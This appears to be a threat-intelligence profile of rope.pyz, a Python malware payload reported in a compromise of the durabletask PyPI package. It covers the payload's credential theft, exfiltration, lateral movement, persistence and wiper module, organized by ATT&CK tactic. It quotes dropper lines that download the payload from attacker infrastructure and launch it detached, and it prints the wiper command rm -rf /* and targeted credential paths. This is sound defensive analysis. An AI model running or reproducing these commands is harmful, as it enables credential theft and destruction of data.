rope.pyz
rope.pyz is a Python zipapp second-stage malware payload used in the May 2026 compromise of Microsoft’s durabletask PyPI package (versions 1.4.1, 1.4.2, and 1.4.3) and linked in reporting to the broader Mini Shai-Hulud/Miasma activity cluster associated with TeamPCP. It is described as a modular cloud intrusion framework and a direct evolution of the earlier transformers.pyz payload used in the guardrails-ai compromise. The durabletask import-time dropper on Linux downloaded rope.pyz from check.git-service[.]com, wrote it to /tmp/managed.pyz, and launched it as a detached python3 process with output suppressed. Reported hashes and artifacts include SHA-256 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce for rope.pyz, runtime paths /tmp/managed.pyz and /tmp/rope-*.pyz, and infection markers ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s.
The payload targets Linux systems and includes anti-analysis checks that exit on non-Linux hosts, Russian locale settings, or low-CPU environments. It steals credentials and secrets from AWS, Azure, GCP, Kubernetes, HashiCorp Vault, local filesystems, shell history, environment variables, Docker environments, and password managers including Bitwarden, 1Password, pass, gopass, and GPG-based stores. It also targets developer and AI tooling configuration in some reporting, including Claude, Cursor, VS Code, Codeium, Zed, Continue, and MCP-related artifacts. Cloud-focused collection includes AWS IAM credentials, Secrets Manager and SSM Parameter Store data across 19 regions, Azure service principal and managed identity credentials plus Key Vault secrets, GCP service account and Secret Manager data, Kubernetes kubeconfig and in-cluster service account tokens, and Vault KV secrets.
Exfiltration is performed over encrypted HTTPS POST requests to attacker-controlled infrastructure, primarily check.git-service[.]com including /api/public/version, with fallback mechanisms that include GitHub commit-search dead-drop discovery using the FIRESCALE keyword and, if stolen GitHub tokens are available, creation of public GitHub repositories to upload encrypted results. Some reports also cite t.m-kosche[.]com as backup infrastructure and 83.142.209.194 as legacy campaign infrastructure. Stolen data is described as compressed and encrypted with AES-256-GCM and wrapped with RSA-OAEP using a hardcoded RSA public key.
rope.pyz also supports propagation and persistence. Reported lateral movement includes AWS SSM SendCommand propagation to managed instances and Kubernetes propagation via kubectl exec to up to five pods or targets per infected host. Persistence has been reported via a fake systemd service named pgsql-monitor.service. The malware can deploy a destructive wiper component in some regions: reporting states a module named roulette.py may, under certain conditions and on hosts fingerprinted as Israeli or Iranian, play audio from /audio.mp3 and execute rm -rf /* or filesystem wipe behavior. Overall, rope.pyz is characterized in the source material as a Linux-focused, multi-cloud credential theft, exfiltration, propagation, and selective destructive malware framework aimed at cloud workloads, CI/CD runners, Kubernetes environments, and developer infrastructure.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The Linux import-time dropper initially injected into __init__.py , and later versions expanded into additional modules, downloading and executing rope.pyz / /tmp/managed.pyz .
Techniques & procedures
51 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration
A variant of the infamous Shai-Hulud worm wreaked havoc on Microsoft's code repositories, triggering disruptions to CI/CD workflows and heightening concerns about increasing software supply chain threats.
Three poisoned versions of Microsoft's official durabletask Python SDK were published to PyPI on May 19.
TeamPCP's self-replicating malware campaign, known as Mini Shai-Hulud, continues to expand in reach with the compromise of durabletask, an official Microsoft Python client... Three malicious package versions have been identified: 1.4.1, 1.4.2, and 1.4.3.
Execution
7 techniques
Execution
prepare: bun run tanstack_runner.js && exit 1 ... preinstall: bun run index.js ... downloading and executing rope.pyz / /tmp/managed.pyz .
May 19 (PyPI Attack)... Payload rope.pyz (28 KB, Python)
When a developer installs any of these versions and imports the library, the dropper silently fetches and executes a second-stage payload from a three-day-old C2 domain.
Versions 1.4.1, 1.4.2, and 1.4.3 had a Linux-only downloader appended to the package's __init__.py . Unlike the npm packages, which rely on lifecycle scripts, this payload can execute when Python code imports durabletask .
The package requires no explicit execution. Simply importing durabletask triggers the payload.
MITRE ATT&CK Mapping Technique ID Name Description T1609 Container Administration Command (kubectl exec) Kubernetes pod lateral movement via kubectl exec
After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.
Persistence
4 techniques
Persistence
MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration
subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True ) ... runs python3 under nohup
installs persistence via fake systemd services... systemctl --user daemon-reload ... installs the fake pgsql-monitor.service for persistence via systemctl ... restart on every boot.
MITRE ATT&CK Mapping Technique ID Name Description T1547.001 Boot or Logon Autostart: Systemd Service pgsql-monitor.service persistence registered as ‘PostgreSQL Monitor’
Privilege Escalation
4 techniques
Privilege Escalation
MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration
subprocess.Popen(["python3", "/tmp/managed.pyz"], stdout=f, stderr=f, stdin=f, start_new_session=True ) ... runs python3 under nohup
installs persistence via fake systemd services... systemctl --user daemon-reload ... installs the fake pgsql-monitor.service for persistence via systemctl ... restart on every boot.
MITRE ATT&CK Mapping Technique ID Name Description T1547.001 Boot or Logon Autostart: Systemd Service pgsql-monitor.service persistence registered as ‘PostgreSQL Monitor’
Stealth
8 techniques
Stealth
The payload domain The second-stage payload is fetched from check.git-service.com. The domain is built to look like routine git tooling traffic in network logs. The file lands at /tmp/managed.pyz with a filename that does not stand out in a directory listing.
If the system matches, the module rolls a virtual die... then executes rm -rf /* .
MITRE ATT&CK Mapping Technique ID Name Description T1078 Valid Accounts Stolen GitHub tokens, cloud credentials used for lateral movement and exfiltration
Systems with 1-2 CPUs are skipped. This likely targets: Automated sandboxes Malware analysis VMs Lightweight research environments
Before running any collectors, the payload validates its environment with multiple gate checks designed to avoid sandboxes and specific geographies... Only run on Linux... Skip Russian-locale systems... Skip low-CPU sandboxes.
Two details in the implementation make this hard to catch at runtime. start_new_session=True detaches the spawned process from its parent. The payload keeps running even after the Python process that triggered the import exits. except: pass catches everything without re-raising.
Versions 1.4.1, 1.4.2, and 1.4.3 had a Linux-only downloader appended to the package's __init__.py . Unlike the npm packages, which rely on lifecycle scripts, this payload can execute when Python code imports durabletask .
The package requires no explicit execution. Simply importing durabletask triggers the payload.
Credential Access
9 techniques
Credential Access
The payload attempts brute-force unlock using harvested passwords from environment variables and shell history.
Anyone who pulled an affected repo and opened it in one of the affected environments had credentials harvested instantly, and the stolen tokens are what push the next commit and republish the next package.
MITRE ATT&CK Mapping Technique ID Name Description T1552 Unsecured Credentials Credential files (~/.aws, ~/.kube, ~/.vault-token, .env, Docker socket, etc.) harvested
Filesystem (collectors/filesystem.py): Reads 99 hardcoded credential file paths covering: ~/.aws/credentials, ~/.azure/accessTokens.json, ~/.config/gcloud/application_default_credentials.json ... All SSH keys and configs from ~/.ssh/ ... Terraform state files ... All .env files recursively under the home directory
Password Managers... harvesting candidate passwords from environment variables... and from shell history entries containing bw unlock or op signin commands... Filesystem... Shell histories: ~/.bash_history, ~/.zsh_history
On AWS, propagation assumes credentials available from the environment or the EC2 instance metadata role.
Every secret in every namespace across every context is retrieved and base64-decoded.
StepSecurity said the credential-stealing malware in the Microsoft repos was focused on AI coding agents. Specifically, the credential-stealing malware targets Anthropic's Claude Code, Google's Gemini CLI, Cursor, and Visual Studio Code.
Anyone who pulled an affected repo and opened it in one of the affected environments had credentials harvested instantly, and the stolen tokens are what push the next commit and republish the next package.
Discovery
7 techniques
Discovery
Once triggered, the malware performs a sweeping credential theft operation, targeting ... Shell history files ( .bash_history, .zsh_history ) for additional secrets.
The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions)
Systems with 1-2 CPUs are skipped. This likely targets: Automated sandboxes Malware analysis VMs Lightweight research environments
Before running any collectors, the payload validates its environment with multiple gate checks designed to avoid sandboxes and specific geographies... Only run on Linux... Skip Russian-locale systems... Skip low-CPU sandboxes.
Check CloudTrail for SSM:SendCommand and SSM:DescribeInstanceInformation calls from compromised instances.
The malware attempts to dump: All namespaces All Kubernetes secrets All contexts | It supports: kubectl usage Automatic kubectl download Direct Kubernetes API interaction In-cluster service account auth kubeconfig parsing mTLS API access
The payload includes a module called roulette.py, a wiper that runs only on hosts that fingerprint as Israeli or Iranian (timezone/localtime/LANG/locale checks for those regions)
Lateral Movement
3 techniques
Lateral Movement
If it's inside Kubernetes, it propagates through kubectl exec... After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.
After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.
After enumerating SSM-managed instances, it uses SendCommand with the AWS-RunShellScript document to execute the rope.pyz payload on up to 5 other EC2 instances per profile.
Collection
3 techniques
Collection
History Scraping Yes (.bash_history, .zsh_history) ... Assume shell history (.bash_history, .zsh_history) was exfiltrated.
Dumps Secrets Manager Dumps SSM Parameter Store with decryption ... Azure Key Vault ... Dumps Secret Manager ... recursively walks KV mounts and attempts to dump all secrets.
All collected data is gzip-compressed and encrypted with AES-256-GCM.
Command and Control
6 techniques
Command and Control
the propagation script downloads the payload from the primary C2, falling back to the secondary domain t.m-kosche[.]com... Also notable is the use of the FIRESCALE mechanism to identify a backup command-and-control (C2) address in the event the primary domain is unreachable.
StepSecurity recommended ... restricting outbound network access from CI/CD runners to block traffic to command-and-control (C2) domains, among other steps.
MITRE ATT&CK Mapping Technique ID Name Description T1071.001 Application Layer Protocol: Web Protocols HTTPS used for C2, payload delivery, and exfiltration
MITRE ATT&CK Mapping Technique ID Name Description T1102.001 Web Service: Dead Drop Resolver (GitHub) FIRESCALE mechanism uses GitHub commit search API for C2 rotation with RSA-signed URLs
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")
If that primary POST fails... the malware falls back to a public dead drop on GitHub. It queries the commit search API with q=FIRESCALE... The first commit message that passes verification becomes the new mothership URL, and the malware retries the identical encrypted POST against that host.
Exfiltration
3 techniques
Exfiltration
May 19 payload connected to the TeamPCP threat group via the secondary C2 domain t.m-kosche[.]com ... Check network logs for connections to check.git-service[.]com and t.m-kosche[.]com .
Collected credentials are sent to attacker-controlled infrastructure... Primary exfiltration... sends a small JSON body... in a single POST... Backup mothership from GitHub commits... GitHub repository fallback... it creates a new public repository... uploads a file named results.json containing the same RSA-wrapped, AES-encrypted package
MITRE ATT&CK Mapping Technique ID Name Description T1567.001 Exfiltration to Code Repository GitHub token abuse to create exfiltration repositories with Russian folklore names
Impact
3 techniques
Impact
the poisoned versions were 'particularly dangerous' because they contained a modular cloud intrusion framework called 'rope.pyz' that steals secrets and credentials and can also deploy a destructive wiper in some regions.'
The payload includes a module called roulette.py, a wiper... If the check passes, it runs: rm -rf /* That attempts to delete everything on the filesystem.
For systems in specific geographies, it rolls the dice on a destructive wiper that executes rm -rf /* .
Observables
16 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
12 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.